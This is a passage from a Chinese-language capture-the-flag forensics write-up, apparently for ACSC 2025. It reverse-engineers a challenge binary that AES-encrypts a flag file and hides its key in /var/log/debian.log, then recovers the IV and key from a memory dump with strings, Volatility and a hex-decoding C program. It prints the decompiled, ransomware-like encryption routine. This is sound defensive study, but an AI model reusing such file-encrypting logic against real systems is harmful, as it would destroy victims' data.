[rbp-230h]</span></span><br><span class="line">  <span class="type">signed</span> <span class="type">int</span> v7; <span class="comment">// [rsp+14h] [rbp-22Ch]</span></span><br><span class="line">  __int64 v8; <span class="comment">// [rsp+18h] [rbp-228h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 j; <span class="comment">// [rsp+20h] [rbp-220h]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 k; <span class="comment">// [rsp+28h] [rbp-218h]</span></span><br><span class="line">  __int64 v11; <span class="comment">// [rsp+30h] [rbp-210h]</span></span><br><span class="line">  __int64 v12; <span class="comment">// [rsp+38h] [rbp-208h]</span></span><br><span class="line">  __int64 v13; <span class="comment">// [rsp+40h] [rbp-200h]</span></span><br><span class="line">  __int64 flag_content_len; <span class="comment">// [rsp+48h] [rbp-1F8h]</span></span><br><span class="line">  __int64 flag_content; <span class="comment">// [rsp+50h] [rbp-1F0h]</span></span><br><span class="line">  __int64 v16; <span class="comment">// [rsp+58h] [rbp-1E8h]</span></span><br><span class="line">  __int64 v17; <span class="comment">// [rsp+60h] [rbp-1E0h]</span></span><br><span class="line">  __int64 v18; <span class="comment">// [rsp+68h] [rbp-1D8h]</span></span><br><span class="line">  <span class="type">char</span> v19[<span class="number">48</span>]; <span class="comment">// [rsp+70h] [rbp-1D0h] BYREF</span></span><br><span class="line">  __int64 v20; <span class="comment">// [rsp+A0h] [rbp-1A0h]</span></span><br><span class="line">  <span class="type">char</span> v21[<span class="number">48</span>]; <span class="comment">// [rsp+100h] [rbp-140h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v22; <span class="comment">// [rsp+130h] [rbp-110h]</span></span><br><span class="line">  <span class="type">char</span> v23[<span class="number">16</span>]; <span class="comment">// [rsp+190h] [rbp-B0h] BYREF</span></span><br><span class="line">  <span class="type">char</span> flag_filename[<span class="number">16</span>]; <span class="comment">// [rsp+1A0h] [rbp-A0h] BYREF</span></span><br><span class="line">  <span class="type">char</span> filename[<span class="number">32</span>]; <span class="comment">// [rsp+1B0h] [rbp-90h] BYREF</span></span><br><span class="line">  <span class="type">char</span> v26[<span class="number">32</span>]; <span class="comment">// [rsp+1D0h] [rbp-70h] BYREF</span></span><br><span class="line">  <span class="type">char</span> v27[<span class="number">32</span>]; <span class="comment">// [rsp+1F0h] [rbp-50h] BYREF</span></span><br><span class="line">  <span class="type">char</span> v28[<span class="number">40</span>]; <span class="comment">// [rsp+210h] [rbp-30h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v29; <span class="comment">// [rsp+238h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v29 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)random_string(v23, <span class="number">16LL</span>) == <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">15</span>; ++i )</span><br><span class="line">    &#123;</span><br><span class="line">      v28[<span class="number">2</span> * i] = *(_BYTE *)(qword_8E6110 + (((<span class="type">unsigned</span> __int8)v23[i] &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0xF</span>));</span><br><span class="line">      v28[<span class="number">2</span> * i + <span class="number">1</span>] = *(_BYTE *)(qword_8E6110 + (v23[i] &amp; <span class="number">0xF</span>));</span><br><span class="line">    &#125;</span><br><span class="line">    v28[<span class="number">32</span>] = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">printf</span>((__int64)&amp;unk_8EA6C0, <span class="number">40LL</span>, (__int64)<span class="string">&quot;AES_IV=%s&quot;</span>, v28);</span><br><span class="line">    sub_6EF840(&amp;unk_8EA6C0);</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)random_string(v26, <span class="number">32LL</span>) == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      sub_403086(v26, v27, <span class="number">32LL</span>);</span><br><span class="line">      xorenc(filename, &amp;debian_log_addr, <span class="number">19LL</span>);</span><br><span class="line">      v11 = sub_6FC8B0(filename, <span class="string">&quot;wb&quot;</span>);</span><br><span class="line">      <span class="keyword">if</span> ( v11 )</span><br><span class="line">      &#123;</span><br><span class="line">        fwrite(v27, <span class="number">1LL</span>, <span class="number">32LL</span>, v11);</span><br><span class="line">        fclose(v11);</span><br><span class="line">        v5 = open(filename, <span class="number">0</span>, v1);</span><br><span class="line">        <span class="keyword">if</span> ( v5 &gt;= <span class="number">0</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)sub_72C2D0((<span class="type">unsigned</span> <span class="type">int</span>)v5, v21) &amp;&amp; (__int64)v22 &gt; <span class="number">0</span> )</span><br><span class="line">          &#123;</span><br><span class="line">            v12 = mmap(<span class="number">0LL</span>);</span><br><span class="line">            <span class="keyword">if</span> ( v12 != <span class="number">-1</span> )</span><br><span class="line">            &#123;</span><br><span class="line">              v13 = v12;</span><br><span class="line">              <span class="keyword">for</span> ( j = <span class="number">0LL</span>; j &lt; v22; j += <span class="number">4096LL</span> )</span><br><span class="line">                ;</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;</span><br><span class="line">          close(v5);</span><br><span class="line">        &#125;</span><br><span class="line">        xorenc(flag_filename, &amp;unk_7C1068, <span class="number">15LL</span>);</span><br><span class="line">        v6 = open(flag_filename, <span class="number">2</span>, v2);</span><br><span class="line">        <span class="keyword">if</span> ( (v6 &amp; <span class="number">0x80000000</span>) == <span class="number">0</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)sub_72C2D0(v6, v19) || (flag_content_len = v20, (flag_content = <span class="built_in">malloc</span>(v20)) == <span class="number">0</span>) )</span><br><span class="line">          &#123;</span><br><span class="line">            close(v6);</span><br><span class="line">            <span class="keyword">goto</span> LABEL_34;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="keyword">if</span> ( read(v6, flag_content, flag_content_len) != flag_content_len )</span><br><span class="line">          &#123;</span><br><span class="line">            <span class="built_in">free</span>(flag_content);</span><br><span class="line">            close(v6);</span><br><span class="line">            <span class="keyword">goto</span> LABEL_34;</span><br><span class="line">          &#125;</span><br><span class="line">          v16 = sub_402DEE(flag_content, flag_content_len, v26, v23, &amp;v8);</span><br><span class="line">          <span class="built_in">free</span>(flag_content);</span><br><span class="line">          <span class="keyword">if</span> ( v16 )</span><br><span class="line">          &#123;</span><br><span class="line">            <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)sub_72CBA0(v6, <span class="number">0LL</span>) || sub_72C300(v6, <span class="number">0LL</span>, <span class="number">0LL</span>) &lt; <span class="number">0</span> )</span><br><span class="line">            &#123;</span><br><span class="line">              <span class="built_in">free</span>(v16);</span><br><span class="line">              close(v6);</span><br><span class="line">              <span class="keyword">goto</span> LABEL_34;</span><br><span class="line">            &#125;</span><br><span class="line">            write(v6, v16, v8);</span><br><span class="line">            <span class="built_in">free</span>(v16);</span><br><span class="line">            v7 = open(flag_filename, <span class="number">0</span>, v3);</span><br><span class="line">            <span class="keyword">if</span> ( v7 &gt;= <span class="number">0</span> )</span><br><span class="line">            &#123;</span><br><span class="line">              <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)sub_72C2D0((<span class="type">unsigned</span> <span class="type">int</span>)v7, v21) &amp;&amp; (__int64)v22 &gt; <span class="number">0</span> )</span><br><span class="line">              &#123;</span><br><span class="line">                v17 = mmap(<span class="number">0LL</span>);</span><br><span class="line">                <span class="keyword">if</span> ( v17 != <span class="number">-1</span> )</span><br><span class="line">                &#123;</span><br><span class="line">                  v18 = v17;</span><br><span class="line">                  <span class="keyword">for</span> ( k = <span class="number">0LL</span>; k &lt; v22; k += <span class="number">4096LL</span> )</span><br><span class="line">                    ;</span><br><span class="line">                &#125;</span><br><span class="line">              &#125;</span><br><span class="line">              close(v7);</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;</span><br><span class="line">          close(v6);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">LABEL_34:</span><br><span class="line">  result = v29 - __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="keyword">if</span> ( result )</span><br><span class="line">    sub_72F780();</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>分析一下他的執行邏輯</p><ol><li>首先他先取了一個16 bytes 的隨機字串，並且經過了<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">15</span>; ++i )</span><br><span class="line">&#123;</span><br><span class="line">      v28[<span class="number">2</span> * i] = *(_BYTE *)(qword_8E6110 + (((<span class="type">unsigned</span> __int8)v23[i] &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0xF</span>));</span><br><span class="line">      v28[<span class="number">2</span> * i + <span class="number">1</span>] = *(_BYTE *)(qword_8E6110 + (v23[i] &amp; <span class="number">0xF</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>這樣的加密過後輸出AES_IV&#x3D;XXXX</li><li>再取一個 32 bytes 的隨機字串，對這個字串做<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span> aAcsc2025[] = <span class="string">&quot;acsc2025&quot;</span></span><br><span class="line"><span class="type">unsigned</span> __int64 __fastcall sub_403086(__int64 a1, __int64 a2, <span class="type">unsigned</span> __int64 a3)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> __int64 result; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">char</span> v5; <span class="comment">// [rsp+1Ah] [rbp-Eh]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 i; <span class="comment">// [rsp+20h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0LL</span>; ; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    result = i;</span><br><span class="line">    <span class="keyword">if</span> ( i &gt;= a3 )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v5 = *(_BYTE *)(a1 + i) ^ aAcsc2025[i % <span class="number">8</span>];</span><br><span class="line">    <span class="keyword">if</span> ( ((<span class="number">7</span> * (_BYTE)i + <span class="number">13</span>) &amp; <span class="number">1</span>) == <span class="number">0</span> )</span><br><span class="line">      sub_402D55();</span><br><span class="line">    *(_BYTE *)(a2 + i) = ((((<span class="type">unsigned</span> __int8)i ^ <span class="number">0x13</span>) + v5) &lt;&lt; (<span class="number">8</span> - ((i &amp; <span class="number">7</span>) + <span class="number">1</span>))) | ((<span class="type">int</span>)(<span class="type">unsigned</span> __int8)((i ^ <span class="number">0x13</span>) + v5) &gt;&gt; ((i &amp; <span class="number">7</span>) + <span class="number">1</span>));</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">__int64 <span class="title function_">sub_402D55</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// edx</span></span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// [rsp+0h] [rbp-8h]</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+4h] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  v2 = <span class="number">305419896</span>;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">4</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    v0 = i + <span class="number">8</span> * v2;</span><br><span class="line">    result = v0 ^ (<span class="type">unsigned</span> <span class="type">int</span>)v2;</span><br><span class="line">    v2 ^= v0;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>這樣的加密之後，執行xorenc 將硬編碼進去的字串與key&#x3D; “acsc2025” XOR 解密後以這個解密後的字串當作路徑將加密後過的隨機32 bytes 寫入進去</li><li>最後再使用xorenc 解密另一個硬編碼的字串與key&#x3D; “acsc2025” XOR 解密後，將這個解密過後的路徑檔案內容先讀出來並且進行AES 加密後再寫回去，而AES 的key 是之前取的隨機16 bytes 的字串，IV 則也是之前取的隨機32 bytes 的字串</li></ol><p>那這樣就可以整理等等解密的思路</p><ul><li>先把 會經過XOR 解密的路徑先解密出來</li><li>得知 IV 與 KEY</li><li>最後AES 解密</li></ul><h2 id="XOR-解密字串"><a href="#XOR-解密字串" class="headerlink" title="XOR 解密字串"></a>XOR 解密字串</h2><p>這邊首先先將硬編碼的兩個字串XOR解密，這邊直接使用 Cyberchef<br>首先先處理第一個 xor 字串解密</p><p><img src="/assets/6YFdqMps4SghJHZtqHII8pqmA2a4DIpymHRXSdpDpeM=.png"></p><p>ok 知道了他會將隨機32 bytes 字串放進<code>/var/log/debian.log</code>中</p><p>現在解第二個xor解密字串</p><p><img src="/assets/OadaDHOPM3FdCsLs7aLbEZBEDUMViQN4NaN10ykdgMU=.png"></p><p>ok，這邊也得知道他會去<code>/home/acsc/flag</code>中將自容讀出來並加密他再寫回去。</p><p>有了以上資訊之後接下來要拿到 IV 與 KEY</p><h2 id="IV"><a href="#IV" class="headerlink" title="IV"></a>IV</h2><p>加密過後的 IV 我們可以知道他會輸出到console 上，因此我們可以直接試試看strings 這個 linux 記憶體dump 他把它輸出的AES_IV&#x3D;XXX抓下來</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strings <span class="string">&quot;C:<span class="char escape_">\U</span>sers<span class="char escape_">\y</span>unshiuan<span class="char escape_">\D</span>esktop<span class="char escape_">\a</span>sac<span class="char escape_">\c</span>hall.raw&quot;</span> | Select-String <span class="operator">-</span>Pattern &#x27;AES_IV&#x27;</span><br></pre></td></tr></table></figure><p><img src="/assets/ti0DtfblBAlFp2BZB5kNFIVuDG0i-7kypk8KC5YHA9k=.png"></p><p>成功抓到後，接下來寫解密腳本，這邊請AI代寫，把原本的隨機16 bytes 字串還原</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Hex character lookup table (assuming standard hex characters)</span></span><br><span class="line"><span class="type">char</span> hex_chars[] = <span class="string">&quot;0123456789ABCDEF&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Function to decode hex string back to binary</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">decode_hex_string</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* hex_string, <span class="type">unsigned</span> <span class="type">char</span>* output, <span class="type">int</span> length)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; length; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// Get high nibble (first hex character)</span></span><br><span class="line">        <span class="type">char</span> high_char = hex_string[<span class="number">2</span> * i];</span><br><span class="line">        <span class="comment">// Get low nibble (second hex character)</span></span><br><span class="line">        <span class="type">char</span> low_char = hex_string[<span class="number">2</span> * i + <span class="number">1</span>];</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Convert hex characters to values</span></span><br><span class="line">        <span class="type">int</span> high_val = <span class="number">0</span>, low_val = <span class="number">0</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (high_char &gt;= <span class="string">&#x27;0&#x27;</span> &amp;&amp; high_char &lt;= <span class="string">&#x27;9&#x27;</span>)</span><br><span class="line">            high_val = high_char - <span class="string">&#x27;0&#x27;</span>;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (high_char &gt;= <span class="string">&#x27;A&#x27;</span> &amp;&amp; high_char &lt;= <span class="string">&#x27;F&#x27;</span>)</span><br><span class="line">            high_val = high_char - <span class="string">&#x27;A&#x27;</span> + <span class="number">10</span>;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (high_char &gt;= <span class="string">&#x27;a&#x27;</span> &amp;&amp; high_char &lt;= <span class="string">&#x27;f&#x27;</span>)</span><br><span class="line">            high_val = high_char - <span class="string">&#x27;a&#x27;</span> + <span class="number">10</span>;</span><br><span class="line">            </span><br><span class="line">        <span class="keyword">if</span> (low_char &gt;= <span class="string">&#x27;0&#x27;</span> &amp;&amp; low_char &lt;= <span class="string">&#x27;9&#x27;</span>)</span><br><span class="line">            low_val = low_char - <span class="string">&#x27;0&#x27;</span>;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (low_char &gt;= <span class="string">&#x27;A&#x27;</span> &amp;&amp; low_char &lt;= <span class="string">&#x27;F&#x27;</span>)</span><br><span class="line">            low_val = low_char - <span class="string">&#x27;A&#x27;</span> + <span class="number">10</span>;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (low_char &gt;= <span class="string">&#x27;a&#x27;</span> &amp;&amp; low_char &lt;= <span class="string">&#x27;f&#x27;</span>)</span><br><span class="line">            low_val = low_char - <span class="string">&#x27;a&#x27;</span> + <span class="number">10</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Combine high and low nibbles</span></span><br><span class="line">        output[i] = (high_val &lt;&lt; <span class="number">4</span>) | low_val;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Function to encode binary to hex string (original encoding function)</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">encode_hex_string</span><span class="params">(<span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span>* input, <span class="type">char</span>* output, <span class="type">int</span> length)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; length; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        output[<span class="number">2</span> * i] = hex_chars[(input[i] &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0xF</span>];</span><br><span class="line">        output[<span class="number">2</span> * i + <span class="number">1</span>] = hex_chars[input[i] &amp; <span class="number">0xF</span>];</span><br><span class="line">    &#125;</span><br><span class="line">    output[<span class="number">2</span> * length] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// Given hex string</span></span><br><span class="line">    <span class="type">const</span> <span class="type">char</span>* hex_string = <span class="string">&quot;33F27DE365AB35FFC29CB4FEEB506B34&quot;</span>;</span><br><span class="line">    <span class="type">int</span> hex_length = <span class="built_in">strlen</span>(hex_string);</span><br><span class="line">    <span class="type">int</span> binary_length = hex_length / <span class="number">2</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;=== Hex Decoder ===\n\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Input hex string: %s\n&quot;</span>, hex_string);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Hex string length: %d\n&quot;</span>, hex_length);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Expected binary length: %d bytes\n\n&quot;</span>, binary_length);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Allocate buffer for decoded data</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span>* decoded_data = <span class="built_in">malloc</span>(binary_length);</span><br><span class="line">    <span class="keyword">if</span> (!decoded_data) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error: Memory allocation failed\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Decode hex string to binary</span></span><br><span class="line">    decode_hex_string(hex_string, decoded_data, binary_length);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Print decoded data as hex</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Decoded binary data (hex): &quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; binary_length; i++) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02X&quot;</span>, decoded_data[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Print decoded data with spaces for readability</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Decoded binary data (hex with spaces): &quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; binary_length; i++) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02X &quot;</span>, decoded_data[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Print decoded data as bytes</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Decoded binary data (bytes): &quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; binary_length; i++) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%d &quot;</span>, decoded_data[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Verify by re-encoding</span></span><br><span class="line">    <span class="type">char</span>* reencoded = <span class="built_in">malloc</span>(hex_length + <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">if</span> (reencoded) &#123;</span><br><span class="line">        encode_hex_string(decoded_data, reencoded, binary_length);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Re-encoded verification: %s\n&quot;</span>, reencoded);</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">strcmp</span>(hex_string, reencoded) == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;✓ SUCCESS: Re-encoding matches original!\n&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;✗ FAILED: Re-encoding does not match original!\n&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">free</span>(reencoded);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">free</span>(decoded_data);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>輸出為</p><figure class="highlight tap"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">=== Hex Decoder ===</span><br><span class="line"></span><br><span class="line">Input hex string: 33F27DE365AB35FFC29CB4FEEB506B34</span><br><span class="line">Hex string length: 32</span><br><span class="line">Expected binary length:<span class="number"> 16 </span>bytes</span><br><span class="line"></span><br><span class="line">Decoded binary data (hex): 33F27DE365AB35FFC29CB4FEEB506B34</span><br><span class="line"></span><br><span class="line">Decoded binary data (hex with spaces):<span class="number"> 33 </span>F2 7D E3<span class="number"> 65 </span>AB<span class="number"> 35 </span>FF C2 9C B4 FE EB<span class="number"> 50 </span>6B<span class="number"> 34 </span></span><br><span class="line"></span><br><span class="line">Decoded binary data (bytes):<span class="number"> 51 </span>242<span class="number"> 125 </span>227<span class="number"> 101 </span>171<span class="number"> 53 </span>255<span class="number"> 194 </span>156<span class="number"> 180 </span>254<span class="number"> 235 </span>80<span class="number"> 107 </span>52 </span><br><span class="line"></span><br><span class="line">Re-encoded verification: 33F27DE365AB35FFC29CB4FEEB506B34</span><br><span class="line">✓ SUCCESS: Re-encoding matches original!</span><br></pre></td></tr></table></figure><p>得知到IV &#x3D; <code>33F27DE365AB35FFC29CB4FEEB506B34</code></p><h2 id="KEY"><a href="#KEY" class="headerlink" title="KEY"></a>KEY</h2><p>那之前的資訊可以知道他會寫在<code>/var/log/debian.log</code>中，因此我們直接把他從記憶體dump 出來</p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 .\vol<span class="selector-class">.py</span> -f <span class="string">&quot;C:\Users\yunshiuan\Desktop\asac\chall.raw&quot;</span> linux<span class="selector-class">.pagecache</span><span class="selector-class">.InodePages</span> <span class="attr">--find</span> <span class="string">&#x27;/var/log/debian.log&#x27;</span> <span class="attr">--dump</span></span><br></pre></td></tr></table></figure><p><img src="/assets/kc7lICbpxTD3HkLsMYHde6cEmfN5xWXxQCsNO75YkBo=.png"></p><p>成功dump 之後直後就可以寫解密還原key，這邊一樣AI代寫解密腳本</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span 